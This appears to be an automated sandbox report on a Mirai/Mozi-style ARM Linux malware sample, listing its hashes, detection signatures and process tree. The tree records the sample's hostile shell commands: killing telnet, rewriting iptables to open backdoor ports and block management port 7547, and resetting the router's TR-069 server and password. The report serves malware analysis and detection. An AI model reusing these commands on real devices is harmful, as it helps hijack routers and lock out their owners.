Analysis

  • max time kernel
    0s
  • max time network
    162s
  • platform
    linux_armhf
  • resource
    debian9-armhf-en-20211208
  • submitted
    04-03-2022 13:56

General

  • Target

    2916f8d5b9b94093d72a6b9cdf0a4c8f5f38d70d5cea4444869ab33cd7e1f243

  • Size

    127KB

  • MD5

    b67b7920ad6846302b180f59a9366b16

  • SHA1

    7f67a0a45159e21735a9783b89d8fdae043dfa22

  • SHA256

    2916f8d5b9b94093d72a6b9cdf0a4c8f5f38d70d5cea4444869ab33cd7e1f243

  • SHA512

    738c4bb9284bcd28ee4b7614dd8f2e5b2667c47626cd97fed22f6e613588dff5ceee56c316ab4c5d60c2b5d5447ae5a8f6c111903ba2025979c74f1597a736bc

Score
10/10

Malware Config

Signatures

  • suricata: ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

    suricata: ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

  • suricata: ET MALWARE Mirai Variant User-Agent (Outbound)

    suricata: ET MALWARE Mirai Variant User-Agent (Outbound)

  • Modifies the Watchdog daemon 1 TTPs

    Malware like Mirai modify the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 1 TTPs 2 IoCs
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Modifies init.d 1 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 3 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./2916f8d5b9b94093d72a6b9cdf0a4c8f5f38d70d5cea4444869ab33cd7e1f243
    ./2916f8d5b9b94093d72a6b9cdf0a4c8f5f38d70d5cea4444869ab33cd7e1f243
    1⤵
    • Enumerates active TCP sockets
    • Reads system network configuration
    • Reads runtime system information
    PID:355
  • /bin/sh
    /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"
    1⤵
      PID:358
    • /bin/sh
      /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50089 -j ACCEPT"
      1⤵
        PID:373
        • /sbin/iptables
          iptables -I INPUT -p tcp --destination-port 50089 -j ACCEPT
          2⤵
            PID:374
        • /bin/sh
          /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50089 -j ACCEPT"
          1⤵
            PID:379
            • /sbin/iptables
              iptables -I OUTPUT -p tcp --source-port 50089 -j ACCEPT
              2⤵
                PID:380
            • /bin/sh
              /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 50089 -j ACCEPT"
              1⤵
                PID:381
                • /sbin/iptables
                  iptables -I PREROUTING -t nat -p tcp --destination-port 50089 -j ACCEPT
                  2⤵
                    PID:382
                • /bin/sh
                  /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 50089 -j ACCEPT"
                  1⤵
                    PID:391
                    • /sbin/iptables
                      iptables -I POSTROUTING -t nat -p tcp --source-port 50089 -j ACCEPT
                      2⤵
                        PID:393
                    • /bin/sh
                      /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"
                      1⤵
                        PID:392
                        • /sbin/iptables
                          iptables -I INPUT -p tcp --destination-port 58000 -j DROP
                          2⤵
                            PID:394
                        • /bin/sh
                          /bin/sh -c "iptables -I INPUT -p tcp --dport 50089 -j ACCEPT"
                          1⤵
                            PID:395
                            • /sbin/iptables
                              iptables -I INPUT -p tcp --dport 50089 -j ACCEPT
                              2⤵
                                PID:397
                            • /bin/sh
                              /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"
                              1⤵
                                PID:396
                                • /sbin/iptables
                                  iptables -I OUTPUT -p tcp --source-port 58000 -j DROP
                                  2⤵
                                    PID:398
                                • /bin/sh
                                  /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50089 -j ACCEPT"
                                  1⤵
                                    PID:399
                                    • /sbin/iptables
                                      iptables -I OUTPUT -p tcp --sport 50089 -j ACCEPT
                                      2⤵
                                        PID:402
                                    • /bin/sh
                                      /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"
                                      1⤵
                                        PID:401
                                        • /sbin/iptables
                                          iptables -I INPUT -p tcp --dport 58000 -j DROP
                                          2⤵
                                            PID:404
                                        • /bin/sh
                                          /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 50089 -j ACCEPT"
                                          1⤵
                                            PID:405
                                            • /sbin/iptables
                                              iptables -I PREROUTING -t nat -p tcp --dport 50089 -j ACCEPT
                                              2⤵
                                                PID:407
                                            • /bin/sh
                                              /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"
                                              1⤵
                                                PID:406
                                                • /sbin/iptables
                                                  iptables -I OUTPUT -p tcp --sport 58000 -j DROP
                                                  2⤵
                                                    PID:408
                                                • /bin/sh
                                                  /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 50089 -j ACCEPT"
                                                  1⤵
                                                    PID:409
                                                    • /sbin/iptables
                                                      iptables -I POSTROUTING -t nat -p tcp --sport 50089 -j ACCEPT
                                                      2⤵
                                                        PID:411
                                                    • /bin/sh
                                                      /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""
                                                      1⤵
                                                        PID:410
                                                      • /bin/sh
                                                        /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""
                                                        1⤵
                                                          PID:412
                                                        • /bin/sh
                                                          /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"
                                                          1⤵
                                                            PID:413
                                                            • /sbin/iptables
                                                              iptables -I INPUT -p tcp --destination-port 35000 -j DROP
                                                              2⤵
                                                                PID:414
                                                            • /bin/sh
                                                              /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"
                                                              1⤵
                                                                PID:415
                                                                • /sbin/iptables
                                                                  iptables -I INPUT -p tcp --destination-port 50023 -j DROP
                                                                  2⤵
                                                                    PID:416
                                                                • /bin/sh
                                                                  /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"
                                                                  1⤵
                                                                    PID:417
                                                                    • /sbin/iptables
                                                                      iptables -I OUTPUT -p tcp --source-port 50023 -j DROP
                                                                      2⤵
                                                                        PID:418
                                                                    • /bin/sh
                                                                      /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"
                                                                      1⤵
                                                                        PID:419
                                                                        • /sbin/iptables
                                                                          iptables -I OUTPUT -p tcp --source-port 35000 -j DROP
                                                                          2⤵
                                                                            PID:420
                                                                        • /bin/sh
                                                                          /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"
                                                                          1⤵
                                                                            PID:421
                                                                            • /sbin/iptables
                                                                              iptables -I INPUT -p tcp --destination-port 7547 -j DROP
                                                                              2⤵
                                                                                PID:422
                                                                            • /bin/sh
                                                                              /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"
                                                                              1⤵
                                                                                PID:423
                                                                                • /sbin/iptables
                                                                                  iptables -I OUTPUT -p tcp --source-port 7547 -j DROP
                                                                                  2⤵
                                                                                    PID:424
                                                                                • /bin/sh
                                                                                  /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"
                                                                                  1⤵
                                                                                    PID:425
                                                                                    • /sbin/iptables
                                                                                      iptables -I INPUT -p tcp --dport 35000 -j DROP
                                                                                      2⤵
                                                                                        PID:426
                                                                                    • /bin/sh
                                                                                      /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"
                                                                                      1⤵
                                                                                        PID:427
                                                                                        • /sbin/iptables
                                                                                          iptables -I INPUT -p tcp --dport 50023 -j DROP
                                                                                          2⤵
                                                                                            PID:428
                                                                                        • /bin/sh
                                                                                          /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"
                                                                                          1⤵
                                                                                            PID:429
                                                                                            • /sbin/iptables
                                                                                              iptables -I OUTPUT -p tcp --sport 50023 -j DROP
                                                                                              2⤵
                                                                                                PID:431
                                                                                            • /bin/sh
                                                                                              /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"
                                                                                              1⤵
                                                                                                PID:433
                                                                                                • /sbin/iptables
                                                                                                  iptables -I OUTPUT -p tcp --sport 35000 -j DROP
                                                                                                  2⤵
                                                                                                    PID:434
                                                                                                • /bin/sh
                                                                                                  /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"
                                                                                                  1⤵
                                                                                                    PID:435
                                                                                                    • /sbin/iptables
                                                                                                      iptables -I INPUT -p tcp --dport 7547 -j DROP
                                                                                                      2⤵
                                                                                                        PID:436
                                                                                                    • /bin/sh
                                                                                                      /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"
                                                                                                      1⤵
                                                                                                        PID:437
                                                                                                        • /sbin/iptables
                                                                                                          iptables -I OUTPUT -p tcp --sport 7547 -j DROP
                                                                                                          2⤵
                                                                                                            PID:438
                                                                                                        • /bin/sh
                                                                                                          /bin/sh -c "iptables -I INPUT -p udp --destination-port 10619 -j ACCEPT"
                                                                                                          1⤵
                                                                                                            PID:443
                                                                                                            • /sbin/iptables
                                                                                                              iptables -I INPUT -p udp --destination-port 10619 -j ACCEPT
                                                                                                              2⤵
                                                                                                                PID:444
                                                                                                            • /bin/sh
                                                                                                              /bin/sh -c "iptables -I OUTPUT -p udp --source-port 10619 -j ACCEPT"
                                                                                                              1⤵
                                                                                                                PID:445
                                                                                                                • /sbin/iptables
                                                                                                                  iptables -I OUTPUT -p udp --source-port 10619 -j ACCEPT
                                                                                                                  2⤵
                                                                                                                    PID:446
                                                                                                                • /bin/sh
                                                                                                                  /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 10619 -j ACCEPT"
                                                                                                                  1⤵
                                                                                                                    PID:447
                                                                                                                    • /sbin/iptables
                                                                                                                      iptables -I PREROUTING -t nat -p udp --destination-port 10619 -j ACCEPT
                                                                                                                      2⤵
                                                                                                                        PID:448
                                                                                                                    • /bin/sh
                                                                                                                      /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 10619 -j ACCEPT"
                                                                                                                      1⤵
                                                                                                                        PID:449
                                                                                                                        • /sbin/iptables
                                                                                                                          iptables -I POSTROUTING -t nat -p udp --source-port 10619 -j ACCEPT
                                                                                                                          2⤵
                                                                                                                            PID:450
                                                                                                                        • /bin/sh
                                                                                                                          /bin/sh -c "iptables -I INPUT -p udp --dport 10619 -j ACCEPT"
                                                                                                                          1⤵
                                                                                                                            PID:451
                                                                                                                            • /sbin/iptables
                                                                                                                              iptables -I INPUT -p udp --dport 10619 -j ACCEPT
                                                                                                                              2⤵
                                                                                                                                PID:452
                                                                                                                            • /bin/sh
                                                                                                                              /bin/sh -c "iptables -I OUTPUT -p udp --sport 10619 -j ACCEPT"
                                                                                                                              1⤵
                                                                                                                                PID:453
                                                                                                                                • /sbin/iptables
                                                                                                                                  iptables -I OUTPUT -p udp --sport 10619 -j ACCEPT
                                                                                                                                  2⤵
                                                                                                                                    PID:454
                                                                                                                                • /bin/sh
                                                                                                                                  /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 10619 -j ACCEPT"
                                                                                                                                  1⤵
                                                                                                                                    PID:457
                                                                                                                                    • /sbin/iptables
                                                                                                                                      iptables -I PREROUTING -t nat -p udp --dport 10619 -j ACCEPT
                                                                                                                                      2⤵
                                                                                                                                        PID:458
                                                                                                                                    • /bin/sh
                                                                                                                                      /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 10619 -j ACCEPT"
                                                                                                                                      1⤵
                                                                                                                                        PID:459
                                                                                                                                        • /sbin/iptables
                                                                                                                                          iptables -I POSTROUTING -t nat -p udp --sport 10619 -j ACCEPT
                                                                                                                                          2⤵
                                                                                                                                            PID:460

                                                                                                                                        Network

                                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                                        Replay Monitor

                                                                                                                                        Loading Replay Monitor...

                                                                                                                                        Downloads